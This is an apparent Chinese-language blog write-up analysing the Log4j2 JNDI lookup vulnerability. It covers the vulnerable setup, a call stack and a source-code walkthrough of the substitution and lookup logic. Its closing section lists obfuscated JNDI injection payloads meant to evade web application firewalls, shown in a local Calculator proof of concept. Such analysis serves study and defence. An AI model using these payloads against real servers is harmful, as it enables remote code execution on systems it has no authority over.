0%

log4j2 分析

前言

其实我总感觉这应该不属于漏洞,应该是他们的正常功能,只不过恰好可以被当成漏洞来用
https://logging.apache.org/log4j/log4j-2.7/manual/lookups.html#JndiLookup
官网也有相关的介绍,虽然这些是写到配置文件里面的

前期配置

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>

trustURLCodebase

因为漏洞核心是lookup参数可控,那么就属于jndi注入,需要低版本jdk,或者开启trustURLCodebase

1
2
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", String.valueOf(true));
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", String.valueOf(true));

当然也可以利用本地gadget,这属于jndi注入的知识,这里不做过多讨论

漏洞代码

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class test {
private static final Logger logger = LogManager.getLogger(test.class);

public static void main(String[] args) {
logger.fatal("${jndi:ldap://127.0.0.1/exploit}");
}
}

漏洞分析

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
fatal:1053, AbstractLogger (org.apache.logging.log4j.spi)
main:10, test

MessagePatternConverter


format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
开始看起

1
2
3
4
5
6
7
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}

分析第二行可以知道,如果遇到${,就会进入判断语句,而这个workingBuilder和logger.fatal()的参数相关,换句话说,基本上workingBuilder就是logger.fatal()中的参数,只不过类型被转换了一下,原本是String,现在是StringBuilder类。
继续往下走,进入replace
1
2
3
4
5
6
7
8
9
10
public String replace(final LogEvent event, final String source) {
if (source == null) {
return null;
}
final StringBuilder buf = new StringBuilder(source);
if (!substitute(event, buf, 0, source.length())) {
return source;
}
return buf.toString();
}

来到了漏洞核心点substitue()

substitue

接下来会逐段分析该函数中重要的代码段

在这里会先进行判断,如果在代码中还存在${,就会进入递归,在里面进行再一次解析,这段先放放,继续往下看


在这里valueDelimiterMatcher是[:,-]
也就是说如果匹配到了:-就会进入循环语句,并进行一次切割处理
比如aaa:-bbb,
前面的aaa会被赋值给varName
后面的值bbb会被赋值给varDefaultValue
接着往下走

先不详细介绍resolveVariable,只需要知道如果是类似前面aaa:-bbb这样的值没什么特殊意义的值,会直接返回null,那么就会把varDefaultValue赋值给varValue,也就是bbb,而下面的代码大意就是把buf用varValue进行了部分替换
如果payload原本是
${jndi:ldap://127.0.0.1/${abc:-exp}loit}
那么就会被替换成
${jndi:ldap://127.0.0.1/exploit}

那么回到刚刚开始那个递归的地方

varNameExpr就会被赋值为被替换过的payload接着解析

resolveVariable

接下来重点讲下resolveVariable,这里是触发jndi注入的关键

1
2
3
4
5
6
7
8
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}

这里的resolver可以看相关文档
https://logging.apache.org/log4j/log4j-2.7/manual/lookups.html
进入这个lookup中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}

final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}

if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}

因为会去分割:,那么会根据jndi取出jndi的strLookupMap,最后进行jndi调用

绕waf

他会根据传入的协议取出相对应的lookup,然后调用,那么就可以有如下的绕过手法

1
2
3
4
5
${${a:-j}ndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${a:-j}n${::-d}i:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${lower:jn}di:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${lower:${upper:jn}}di:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}

参考文章